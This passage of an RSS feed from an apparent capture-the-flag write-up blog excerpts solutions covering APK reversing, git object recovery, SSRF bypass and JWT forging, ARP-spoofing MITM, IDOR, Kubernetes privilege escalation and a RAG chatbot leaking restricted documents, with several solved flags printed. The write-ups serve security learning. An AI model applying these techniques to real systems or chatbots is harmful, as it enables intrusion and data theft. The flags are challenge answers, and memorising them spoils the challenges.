&lt;code&gt;days&lt;/code&gt; is &lt;code&gt;268&lt;/code&gt;, producing:&lt;/p&gt;</description></item><item><title>MURMUR v1.2 Mesh Control Protocol</title><link>https://hotwater-online.xyz/writeups/h7ctf/murmur-1/</link><pubDate>Sat, 26 Sep 2026 00:00:00 +0000</pubDate><guid>https://hotwater-online.xyz/writeups/h7ctf/murmur-1/</guid><description>&lt;p&gt;MURMUR is the control channel used between gateways and guest nodes in the&#10;Halcyon industrial mesh. This note is the fielded v1.2 profile. It is enough to&#10;read a link if you already hold a tap position on one.&lt;/p&gt;&#10;&lt;h2 id="1-handshake"&gt;&#10; &lt;a href="#1-handshake" class="md-heading-anchor"&gt;&#10; 1. Handshake&#10; &lt;/a&gt;&#10;&lt;/h2&gt;&#10;&lt;p&gt;MURMUR runs a Noise &lt;code&gt;XKpsk3&lt;/code&gt; handshake with the &lt;code&gt;25519_ChaChaPoly_BLAKE2s&lt;/code&gt;&#10;suite. The gateway is the responder and carries a fixed static key. Guest nodes&#10;are the initiator and bring a fresh ephemeral key for every session, so link&#10;transcripts are never reusable across sessions.&lt;/p&gt;</description></item><item><title>Onyx Locker 2.4.0 (mobile)</title><link>https://hotwater-online.xyz/writeups/h7ctf/onyx-locker-2-4-0-mobile/</link><pubDate>Sat, 26 Sep 2026 00:00:00 +0000</pubDate><guid>https://hotwater-online.xyz/writeups/h7ctf/onyx-locker-2-4-0-mobile/</guid><description>&lt;p&gt;&lt;strong&gt;Flag:&lt;/strong&gt; &lt;code&gt;H7CTF{7dc9e570-56c6-40bc-ab4f-2d8ab182e097}&lt;/code&gt;&lt;/p&gt;&#10;&lt;h2 id="challenge"&gt;&#10; &lt;a href="#challenge" class="md-heading-anchor"&gt;&#10; Challenge&#10; &lt;/a&gt;&#10;&lt;/h2&gt;&#10;&lt;p&gt;An Android password-manager APK (&lt;code&gt;onyx-locker-2.4.0.apk&lt;/code&gt;, package &lt;code&gt;com.onyx.locker&lt;/code&gt;) plus a live&#10;backend at &lt;code&gt;https://web-f328e5c854ffc583.web.h7tex.com&lt;/code&gt;. The app's UI only ever prints bullet&#10;characters where secrets should be, so the goal is to replay the app's own API calls and read the&#10;unmasked vault.&lt;/p&gt;&#10;&lt;h2 id="analysis"&gt;&#10; &lt;a href="#analysis" class="md-heading-anchor"&gt;&#10; Analysis&#10; &lt;/a&gt;&#10;&lt;/h2&gt;&#10;&lt;p&gt;Unpack the APK (jadx / apktool / unzip — the DEX is un-obfuscated) to get four classes in&#10;&lt;code&gt;sources/com/onyx/locker/&lt;/code&gt;:&lt;/p&gt;&#10;&lt;div class="table-wrap" role="region" aria-label="Scrollable data table" tabindex="0"&gt;&#10; &lt;table&gt;&#10; &lt;thead&gt;&#10; &lt;tr&gt;&#10; &lt;th&gt;File&lt;/th&gt;&#10; &lt;th&gt;Role&lt;/th&gt;&#10; &lt;/tr&gt;&#10; &lt;/thead&gt;&#10; &lt;tbody&gt;&#10; &lt;tr&gt;&#10; &lt;td&gt;&lt;code&gt;MainActivity.java&lt;/code&gt;&lt;/td&gt;&#10; &lt;td&gt;UI + the whole sync routine&lt;/td&gt;&#10; &lt;/tr&gt;&#10; &lt;tr&gt;&#10; &lt;td&gt;&lt;code&gt;ApiClient.java&lt;/code&gt;&lt;/td&gt;&#10; &lt;td&gt;thin &lt;code&gt;HttpURLConnection&lt;/code&gt; POST/GET wrapper&lt;/td&gt;&#10; &lt;/tr&gt;&#10; &lt;tr&gt;&#10; &lt;td&gt;&lt;code&gt;Session.java&lt;/code&gt;&lt;/td&gt;&#10; &lt;td&gt;&lt;code&gt;SharedPreferences&lt;/code&gt; store for &lt;code&gt;base_url&lt;/code&gt;, &lt;code&gt;device_id&lt;/code&gt;, &lt;code&gt;token&lt;/code&gt;&lt;/td&gt;&#10; &lt;/tr&gt;&#10; &lt;tr&gt;&#10; &lt;td&gt;&lt;code&gt;VaultCrypto.java&lt;/code&gt;&lt;/td&gt;&#10; &lt;td&gt;hardcoded AES/CBC key + IV for the offline cache&lt;/td&gt;&#10; &lt;/tr&gt;&#10; &lt;/tbody&gt;&#10; &lt;/table&gt;&#10;&lt;/div&gt;&#10;&#10;&lt;span class="table-scroll-hint" aria-hidden="true"&gt;Scroll horizontally to explore the table &lt;svg class="ui-arrow ui-arrow--right" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="1.5" stroke-linecap="round" stroke-linejoin="round" aria-hidden="true" focusable="false"&gt;&lt;path d="M4 12h16m-7-7 7 7-7 7"/&gt;&lt;/svg&gt;&#10;&lt;/span&gt;&#10;&lt;p&gt;&lt;code&gt;AndroidManifest.xml&lt;/code&gt; confirms &lt;code&gt;android:usesCleartextTraffic=&amp;quot;true&amp;quot;&lt;/code&gt; and &lt;code&gt;android:debuggable=&amp;quot;true&amp;quot;&lt;/code&gt;,&#10;i.e. plain HTTP to an arbitrary user-supplied host. &lt;code&gt;Session.baseUrl()&lt;/code&gt; defaults to&#10;&lt;code&gt;http://10.0.2.2:8080&lt;/code&gt; and is overridable from the &amp;quot;server&amp;quot; text field in the layout — so the app is&#10;just a thin client pointed at whatever backend you tell it to talk to.&lt;/p&gt;</description></item><item><title>Sparrow Freight API — Leaked Production Token</title><link>https://hotwater-online.xyz/writeups/h7ctf/sparrow-freight-api-leaked-production-token/</link><pubDate>Sat, 26 Sep 2026 00:00:00 +0000</pubDate><guid>https://hotwater-online.xyz/writeups/h7ctf/sparrow-freight-api-leaked-production-token/</guid><description>&lt;p&gt;&lt;strong&gt;Flag:&lt;/strong&gt; &lt;code&gt;H7CTF{116f8522b35663cde2ce}&lt;/code&gt;&lt;/p&gt;&#10;&lt;h2 id="the-claim"&gt;&#10; &lt;a href="#the-claim" class="md-heading-anchor"&gt;&#10; The claim&#10; &lt;/a&gt;&#10;&lt;/h2&gt;&#10;&lt;p&gt;A Sparrow Freight developer insisted the production carrier token never made it&#10;into a commit, and that the history was spotless. It was — the repository was&#10;pulled before anyone had a chance to tidy it further, so nothing had been&#10;rewritten, filtered, or garbage collected away.&lt;/p&gt;&#10;&lt;p&gt;The claim is also irrelevant. &lt;code&gt;git log&lt;/code&gt; only shows you commits that a &lt;strong&gt;ref&lt;/strong&gt;&#10;points to. It says nothing about the rest of the object database. Git writes a&#10;blob to &lt;code&gt;.git/objects&lt;/code&gt; the moment a file is &lt;code&gt;add&lt;/code&gt;ed — long before any commit&#10;exists, and it stays there after a ref stops pointing at it.&lt;/p&gt;</description></item><item><title>Lunar Forensic Challenge 4</title><link>https://hotwater-online.xyz/writeups/lunar/lunar-forensic-challenge-4/</link><pubDate>Sun, 20 Sep 2026 00:00:00 +0000</pubDate><guid>https://hotwater-online.xyz/writeups/lunar/lunar-forensic-challenge-4/</guid><description>&lt;p&gt;&lt;strong&gt;Flag:&lt;/strong&gt; &lt;code&gt;Lun4R{c4rv1ng_m3t4d4t4_4nd_p1x3l_wh1sp3rs}&lt;/code&gt;&lt;/p&gt;&#10;&lt;h2 id="overview"&gt;&#10; &lt;a href="#overview" class="md-heading-anchor"&gt;&#10; Overview&#10; &lt;/a&gt;&#10;&lt;/h2&gt;&#10;&lt;p&gt;A PNG image (&lt;code&gt;case_evidence.png&lt;/code&gt;) containing multiple layers of hidden data.&lt;/p&gt;&#10;&lt;h2 id="step-1-png-metadata-text-chunks"&gt;&#10; &lt;a href="#step-1-png-metadata-text-chunks" class="md-heading-anchor"&gt;&#10; Step 1: PNG Metadata (tEXt chunks)&#10; &lt;/a&gt;&#10;&lt;/h2&gt;&#10;&lt;p&gt;Examining PNG chunks revealed three text entries:&lt;/p&gt;&#10;&lt;ul&gt;&#10;&lt;li&gt;&lt;strong&gt;Comment:&lt;/strong&gt; &lt;code&gt;Lun4R{th1s_1s_n0t_th3_r34l_fl4g_k33p_d1gg1ng}&lt;/code&gt; — Decoy flag&lt;/li&gt;&#10;&lt;li&gt;&lt;strong&gt;archive_note:&lt;/strong&gt; &lt;code&gt;RnU0cTBqUzF5cl8yMDI0&lt;/code&gt; — Base64 string (password hint)&lt;/li&gt;&#10;&lt;li&gt;&lt;strong&gt;Author:&lt;/strong&gt; Warning about solving it yourself&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;h2 id="step-2-embedded-zip-after-iend"&gt;&#10; &lt;a href="#step-2-embedded-zip-after-iend" class="md-heading-anchor"&gt;&#10; Step 2: Embedded ZIP After IEND&#10; &lt;/a&gt;&#10;&lt;/h2&gt;&#10;&lt;p&gt;728 bytes found after the PNG IEND chunk — a password-protected ZIP file containing &lt;code&gt;secret.png&lt;/code&gt;.&lt;/p&gt;</description></item><item><title>Blackout Gateway</title><link>https://hotwater-online.xyz/writeups/sec/blackout-gateway/</link><pubDate>Fri, 11 Sep 2026 00:00:00 +0000</pubDate><guid>https://hotwater-online.xyz/writeups/sec/blackout-gateway/</guid><description>&lt;p&gt;&lt;strong&gt;Category:&lt;/strong&gt; Web&lt;br&gt;&#10;&lt;strong&gt;Difficulty:&lt;/strong&gt; Hard&lt;br&gt;&#10;&lt;strong&gt;Points:&lt;/strong&gt; 500&lt;br&gt;&#10;&lt;strong&gt;Source:&lt;/strong&gt; &lt;a href="https://ct-fforme.vercel.app/cha4.html" target="_blank" rel="noopener noreferrer" class="md-link"&gt;https://ct-fforme.vercel.app/cha4.html&lt;/a&gt;&lt;/p&gt;&#10;&lt;hr&gt;&#10;&lt;h2 id="challenge-overview"&gt;&#10; &lt;a href="#challenge-overview" class="md-heading-anchor"&gt;&#10; Challenge Overview&#10; &lt;/a&gt;&#10;&lt;/h2&gt;&#10;&lt;p&gt;The Blackout Gateway is a simulated API security console with a server-side fetch simulator, JWT token workbench, and an admin console. The goal is to bypass an SSRF filter, forge a JWT, and exfiltrate data from an internal service.&lt;/p&gt;&#10;&lt;hr&gt;&#10;&lt;h2 id="step-1-ssrf-bypass--decimal-ip-address"&gt;&#10; &lt;a href="#step-1-ssrf-bypass--decimal-ip-address" class="md-heading-anchor"&gt;&#10; Step 1: SSRF Bypass — Decimal IP Address&#10; &lt;/a&gt;&#10;&lt;/h2&gt;&#10;&lt;p&gt;The &amp;quot;Remote Resource Inspector&amp;quot; simulates a server-side fetch with a filter that blocks internal addresses:&lt;/p&gt;</description></item><item><title>ET — Tu Brute</title><link>https://hotwater-online.xyz/writeups/sec/et-tu-brute/</link><pubDate>Fri, 11 Sep 2026 00:00:00 +0000</pubDate><guid>https://hotwater-online.xyz/writeups/sec/et-tu-brute/</guid><description>&lt;p&gt;The crew's inside man left a note taped under a desk, written for someone who &amp;quot;already knew the rotation.&amp;quot; No key was given — but old habits die hard, and this cipher has exactly 25 things it could be.&lt;/p&gt;&#10;&lt;p&gt;Hint: &amp;quot;Julius trusted this trick 2000 years ago. Some things never update their security.&amp;quot;&lt;/p&gt;&#10;&lt;p&gt;Captured data: YETZ{XM_MN_UKNMX_LABYM_ATIIXGL}&lt;/p&gt;&#10;&lt;p&gt;FLAG{ET_TU_BRUTE_SHIFT_HAPPENS}&lt;/p&gt;</description></item><item><title>Roulette Online</title><link>https://hotwater-online.xyz/writeups/k17/roulette-online/</link><pubDate>Fri, 11 Sep 2026 00:00:00 +0000</pubDate><guid>https://hotwater-online.xyz/writeups/k17/roulette-online/</guid><description>&lt;h2 id="challenge"&gt;&#10; &lt;a href="#challenge" class="md-heading-anchor"&gt;&#10; Challenge&#10; &lt;/a&gt;&#10;&lt;/h2&gt;&#10;&lt;p&gt;The program starts with a balance of &lt;code&gt;10&lt;/code&gt; and lets us place roulette wagers. A successful spin doubles the wager, while a losing spin subtracts it from the balance. The flag is printed when the final balance is greater than &lt;code&gt;999999999&lt;/code&gt;.&lt;/p&gt;&#10;&lt;p&gt;The relevant code is:&lt;/p&gt;&#10;&lt;div class="mb-codeblock" data-lang="c"&gt;&lt;div class="mb-codeblock-header"&gt;&lt;span class="mb-codeblock-badge"&gt;c&lt;/span&gt;&lt;button type="button" class="mb-action-btn" data-copy-code&gt;Copy code&lt;/button&gt;&lt;/div&gt;&lt;div class="mb-codeblock-content"&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-c" data-lang="c"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;balance&lt;/span&gt; &lt;span class="o"&gt;-=&lt;/span&gt; &lt;span class="n"&gt;wager&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="n"&gt;lotto&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;rand&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;%&lt;/span&gt; &lt;span class="mi"&gt;36&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;lotto&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;balance&lt;/span&gt; &lt;span class="o"&gt;+=&lt;/span&gt; &lt;span class="mi"&gt;2&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="n"&gt;wager&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;The program seeds libc's PRNG with the current Unix timestamp:&lt;/p&gt;&#10;&lt;div class="mb-codeblock" data-lang="c"&gt;&lt;div class="mb-codeblock-header"&gt;&lt;span class="mb-codeblock-badge"&gt;c&lt;/span&gt;&lt;button type="button" class="mb-action-btn" data-copy-code&gt;Copy code&lt;/button&gt;&lt;/div&gt;&lt;div class="mb-codeblock-content"&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-c" data-lang="c"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nf"&gt;srand&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;time&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;NULL&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;h2 id="stack-write-primitive"&gt;&#10; &lt;a href="#stack-write-primitive" class="md-heading-anchor"&gt;&#10; Stack write primitive&#10; &lt;/a&gt;&#10;&lt;/h2&gt;&#10;&lt;p&gt;Before the game starts, &lt;code&gt;SNAPSHOT()&lt;/code&gt; prints the stack. For example:&lt;/p&gt;</description></item><item><title>Hiding in Your Wi-Fi</title><link>https://hotwater-online.xyz/writeups/nns/hiding-in-your-wi-fi/</link><pubDate>Sat, 05 Sep 2026 00:00:00 +0000</pubDate><guid>https://hotwater-online.xyz/writeups/nns/hiding-in-your-wi-fi/</guid><description>&lt;h2 id="challenge-info"&gt;&#10; &lt;a href="#challenge-info" class="md-heading-anchor"&gt;&#10; Challenge Info&#10; &lt;/a&gt;&#10;&lt;/h2&gt;&#10;&lt;ul&gt;&#10;&lt;li&gt;&lt;strong&gt;Category:&lt;/strong&gt; DevSec&lt;/li&gt;&#10;&lt;li&gt;&lt;strong&gt;Points:&lt;/strong&gt; 1&lt;/li&gt;&#10;&lt;li&gt;&lt;strong&gt;Difficulty:&lt;/strong&gt; Introductory&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;h2 id="reconnaissance"&gt;&#10; &lt;a href="#reconnaissance" class="md-heading-anchor"&gt;&#10; Reconnaissance&#10; &lt;/a&gt;&#10;&lt;/h2&gt;&#10;&lt;p&gt;We connect to the attacker box via ncat:&lt;/p&gt;&#10;&lt;div class="mb-codeblock" data-lang="text"&gt;&lt;div class="mb-codeblock-header"&gt;&lt;span class="mb-codeblock-badge"&gt;text&lt;/span&gt;&lt;button type="button" class="mb-action-btn" data-copy-code&gt;Copy code&lt;/button&gt;&lt;/div&gt;&lt;div class="mb-codeblock-content"&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-fallback" data-lang="fallback"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;ncat --ssl hiding-in-your-wifi-0198be60585f.chall.nnsc.tf 1337&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;We land on a machine at &lt;code&gt;10.10.10.66&lt;/code&gt; with &lt;code&gt;arpspoof&lt;/code&gt; and &lt;code&gt;tcpdump&lt;/code&gt; available. The network contains:&lt;/p&gt;&#10;&lt;div class="table-wrap" role="region" aria-label="Scrollable data table" tabindex="0"&gt;&#10; &lt;table&gt;&#10; &lt;thead&gt;&#10; &lt;tr&gt;&#10; &lt;th&gt;Host&lt;/th&gt;&#10; &lt;th&gt;IP&lt;/th&gt;&#10; &lt;th&gt;Role&lt;/th&gt;&#10; &lt;/tr&gt;&#10; &lt;/thead&gt;&#10; &lt;tbody&gt;&#10; &lt;tr&gt;&#10; &lt;td&gt;Client&lt;/td&gt;&#10; &lt;td&gt;10.10.10.20&lt;/td&gt;&#10; &lt;td&gt;Fetching data&lt;/td&gt;&#10; &lt;/tr&gt;&#10; &lt;tr&gt;&#10; &lt;td&gt;Server&lt;/td&gt;&#10; &lt;td&gt;10.10.10.10&lt;/td&gt;&#10; &lt;td&gt;Serving data&lt;/td&gt;&#10; &lt;/tr&gt;&#10; &lt;tr&gt;&#10; &lt;td&gt;Us&lt;/td&gt;&#10; &lt;td&gt;10.10.10.66&lt;/td&gt;&#10; &lt;td&gt;MITM attacker&lt;/td&gt;&#10; &lt;/tr&gt;&#10; &lt;/tbody&gt;&#10; &lt;/table&gt;&#10;&lt;/div&gt;&#10;&#10;&lt;span class="table-scroll-hint" aria-hidden="true"&gt;Scroll horizontally to explore the table &lt;svg class="ui-arrow ui-arrow--right" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="1.5" stroke-linecap="round" stroke-linejoin="round" aria-hidden="true" focusable="false"&gt;&lt;path d="M4 12h16m-7-7 7 7-7 7"/&gt;&lt;/svg&gt;&#10;&lt;/span&gt;&#10;&lt;p&gt;IP forwarding is already enabled (&lt;code&gt;/proc/sys/net/ipv4/ip_forward = 1&lt;/code&gt;).&lt;/p&gt;</description></item><item><title>Web Hacker 2</title><link>https://hotwater-online.xyz/writeups/nns/web-hacker-2/</link><pubDate>Sat, 05 Sep 2026 00:00:00 +0000</pubDate><guid>https://hotwater-online.xyz/writeups/nns/web-hacker-2/</guid><description>&lt;h2 id="challenge"&gt;&#10; &lt;a href="#challenge" class="md-heading-anchor"&gt;&#10; Challenge&#10; &lt;/a&gt;&#10;&lt;/h2&gt;&#10;&lt;p&gt;A beginner web exploitation challenge focusing on &lt;strong&gt;IDOR (Insecure Direct Object Reference)&lt;/strong&gt; vulnerabilities.&lt;/p&gt;&#10;&lt;h2 id="reconnaissance"&gt;&#10; &lt;a href="#reconnaissance" class="md-heading-anchor"&gt;&#10; Reconnaissance&#10; &lt;/a&gt;&#10;&lt;/h2&gt;&#10;&lt;p&gt;The landing page at &lt;code&gt;https://web-hacker2-90ff1ba4af22.chall.nnsc.tf/intro?page=1&lt;/code&gt; hints that the &lt;code&gt;page&lt;/code&gt; query parameter can be abused.&lt;/p&gt;&#10;&lt;h2 id="step-1-idor-on-query-parameter"&gt;&#10; &lt;a href="#step-1-idor-on-query-parameter" class="md-heading-anchor"&gt;&#10; Step 1: IDOR on Query Parameter&#10; &lt;/a&gt;&#10;&lt;/h2&gt;&#10;&lt;p&gt;Changing &lt;code&gt;?page=1&lt;/code&gt; to &lt;code&gt;?page=2&lt;/code&gt; reveals the second step, which explains IDOR and provides a link to the boarding pass challenge:&lt;/p&gt;&#10;&lt;div class="mb-codeblock" data-lang="text"&gt;&lt;div class="mb-codeblock-header"&gt;&lt;span class="mb-codeblock-badge"&gt;text&lt;/span&gt;&lt;button type="button" class="mb-action-btn" data-copy-code&gt;Copy code&lt;/button&gt;&lt;/div&gt;&lt;div class="mb-codeblock-content"&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-fallback" data-lang="fallback"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;https://web-hacker2-90ff1ba4af22.chall.nnsc.tf/intro?page=2&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;The page mentions that the &lt;code&gt;admin&lt;/code&gt; user may have something interesting.&lt;/p&gt;</description></item><item><title>VVDrug Cartel — Web</title><link>https://hotwater-online.xyz/writeups/tctf/vvdrug-cartel-web/</link><pubDate>Sat, 22 Aug 2026 00:00:00 +0000</pubDate><guid>https://hotwater-online.xyz/writeups/tctf/vvdrug-cartel-web/</guid><description>&lt;h2 id="dont-you-dare-to-enter-here-you-thought-it-would-be-this-easy--huh"&gt;&#10; &lt;a href="#dont-you-dare-to-enter-here-you-thought-it-would-be-this-easy--huh" class="md-heading-anchor"&gt;&#10; Dont you dare to enter here. You thought it would be this easy ? huh.&#10; &lt;/a&gt;&#10;&lt;/h2&gt;</description></item><item><title>SecureTrust Cluster Registry</title><link>https://hotwater-online.xyz/writeups/gencysctf/securetrust-cluster-registry/</link><pubDate>Sat, 15 Aug 2026 00:00:00 +0000</pubDate><guid>https://hotwater-online.xyz/writeups/gencysctf/securetrust-cluster-registry/</guid><description>&lt;p&gt;&lt;strong&gt;Target:&lt;/strong&gt; &lt;code&gt;https://registry.kube1.thesecuretrust.com&lt;/code&gt;&lt;/p&gt;&#10;&lt;p&gt;The challenge is a Kubernetes container-registry portal. From a highly restricted&#10;service-account, the goal is to reach full cluster admin (&lt;code&gt;system:masters&lt;/code&gt;) and read a&#10;secret containing the flag.&lt;/p&gt;&#10;&lt;hr&gt;&#10;&lt;h2 id="step-1--obtain-the-player-kubeconfig"&gt;&#10; &lt;a href="#step-1--obtain-the-player-kubeconfig" class="md-heading-anchor"&gt;&#10; Step 1 — Obtain the player kubeconfig&#10; &lt;/a&gt;&#10;&lt;/h2&gt;&#10;&lt;p&gt;The portal (a Next.js app fronting the k8s API server on the same host) exposes a&#10;downloadable, RBAC-restricted kubeconfig.&lt;/p&gt;&#10;&lt;div class="mb-codeblock" data-lang="bash"&gt;&lt;div class="mb-codeblock-header"&gt;&lt;span class="mb-codeblock-badge"&gt;bash&lt;/span&gt;&lt;button type="button" class="mb-action-btn" data-copy-code&gt;Copy code&lt;/button&gt;&lt;/div&gt;&lt;div class="mb-codeblock-content"&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;curl -sk -o player-kubeconfig.yaml &lt;span class="se"&gt;\&#10;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; https://registry.kube1.thesecuretrust.com/player-kubeconfig-external.yaml&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;It contains a service-account token for &lt;code&gt;system:serviceaccount:securetrust-web:player-access-sa&lt;/code&gt;&#10;and the API server at &lt;code&gt;https://registry.kube1.thesecuretrust.com&lt;/code&gt;, context namespace &lt;code&gt;securetrust-web&lt;/code&gt;.&lt;/p&gt;</description></item><item><title>SecureTrust Mobile — Forgotten</title><link>https://hotwater-online.xyz/writeups/gencysctf/securetrust-mobile-forgotten/</link><pubDate>Sat, 15 Aug 2026 00:00:00 +0000</pubDate><guid>https://hotwater-online.xyz/writeups/gencysctf/securetrust-mobile-forgotten/</guid><description>&lt;p&gt;&lt;strong&gt;Category:&lt;/strong&gt; Mobile / Reverse Engineering&#10;&lt;strong&gt;Target:&lt;/strong&gt; &lt;code&gt;https://mobile.api.thesecuretrust.com&lt;/code&gt;&#10;&lt;strong&gt;Final Flag:&lt;/strong&gt; &lt;code&gt;UST_GenCyS_CTF{f9795057e85bee3b0a3b3857951270e1c043eb7b047c318c7d08b2411b4804e6}&lt;/code&gt;&lt;/p&gt;&#10;&lt;h2 id="summary"&gt;&#10; &lt;a href="#summary" class="md-heading-anchor"&gt;&#10; Summary&#10; &lt;/a&gt;&#10;&lt;/h2&gt;&#10;&lt;p&gt;The challenge presents a &amp;quot;QA&amp;quot; build of a mobile app. Solving it requires:&lt;/p&gt;&#10;&lt;ol&gt;&#10;&lt;li&gt;Reconnaissance of the API surface (including a forgotten debug endpoint).&lt;/li&gt;&#10;&lt;li&gt;Recovering a hardcoded QA token from the mobile app's configuration.&lt;/li&gt;&#10;&lt;li&gt;Redeeming the proof flag through a secondary claim endpoint to obtain the real flag.&lt;/li&gt;&#10;&lt;/ol&gt;&#10;&lt;h2 id="flag-format-confusion"&gt;&#10; &lt;a href="#flag-format-confusion" class="md-heading-anchor"&gt;&#10; Flag format confusion&#10; &lt;/a&gt;&#10;&lt;/h2&gt;&#10;&lt;p&gt;The first flag received looks like the final one but is only a proof:&#10;&lt;code&gt;GenCyS_PROOF{mobile-forgotten-7aeb1c3c01fd8da2108c8f06}&lt;/code&gt;&lt;/p&gt;</description></item><item><title>The Secure Trust Bank — RAG Data Leakage</title><link>https://hotwater-online.xyz/writeups/gencysctf/the-secure-trust-bank-rag-data-leakage/</link><pubDate>Sat, 15 Aug 2026 00:00:00 +0000</pubDate><guid>https://hotwater-online.xyz/writeups/gencysctf/the-secure-trust-bank-rag-data-leakage/</guid><description>&lt;p&gt;&lt;strong&gt;Target:&lt;/strong&gt; &lt;code&gt;https://thesecuretrust.com/api/chat&lt;/code&gt;&#10;&lt;strong&gt;Flag:&lt;/strong&gt; &lt;code&gt;UST_GenCyS_CTF{R4G_M3m0ry_L34k}&lt;/code&gt;&lt;/p&gt;&#10;&lt;h2 id="summary"&gt;&#10; &lt;a href="#summary" class="md-heading-anchor"&gt;&#10; Summary&#10; &lt;/a&gt;&#10;&lt;/h2&gt;&#10;&lt;p&gt;This challenge demonstrates a &lt;strong&gt;RAG (Retrieval-Augmented Generation) data&#10;leakage vulnerability&lt;/strong&gt;. An AI chatbot exposes restricted/classified documents&#10;through its retrieval layer, and the flag is reconstructed from three &amp;quot;security&#10;tokens&amp;quot; scattered across those documents.&lt;/p&gt;&#10;&lt;hr&gt;&#10;&lt;h2 id="recon"&gt;&#10; &lt;a href="#recon" class="md-heading-anchor"&gt;&#10; Recon&#10; &lt;/a&gt;&#10;&lt;/h2&gt;&#10;&lt;p&gt;Reconnaissance on the site reveals it is a Next.js application (&amp;quot;The Secure&#10;Trust Bank&amp;quot;) with several API routes:&lt;/p&gt;&#10;&lt;div class="mb-codeblock" data-lang="text"&gt;&lt;div class="mb-codeblock-header"&gt;&lt;span class="mb-codeblock-badge"&gt;text&lt;/span&gt;&lt;button type="button" class="mb-action-btn" data-copy-code&gt;Copy code&lt;/button&gt;&lt;/div&gt;&lt;div class="mb-codeblock-content"&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;/api/chat &amp;lt;- AI chatbot (RAG)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;/api/auth/login&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;/api/auth/logout&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;/api/download/apk&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;/api/download/ipa&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;A &lt;code&gt;GET&lt;/code&gt; to &lt;code&gt;/api/chat&lt;/code&gt; returns &lt;code&gt;405 Method Not Allowed&lt;/code&gt;. A &lt;code&gt;POST&lt;/code&gt; without&#10;parameters returns:&lt;/p&gt;</description></item><item><title>About</title><link>https://hotwater-online.xyz/about/</link><pubDate>Mon, 01 Jan 0001 00:00:00 +0000</pubDate><guid>https://hotwater-online.xyz/about/</guid><description>&lt;p&gt;Hi, I'm &lt;strong&gt;hotwater&lt;/strong&gt;. I play capture-the-flag competitions and spend most of my&#10;free time staring at disassemblers, packet captures and half-broken binaries.&lt;/p&gt;&#10;&lt;p&gt;This site is my lab notebook: the challenges I solve, the dead ends I hit, and&#10;the tricks I want to remember next time. The flag is just the 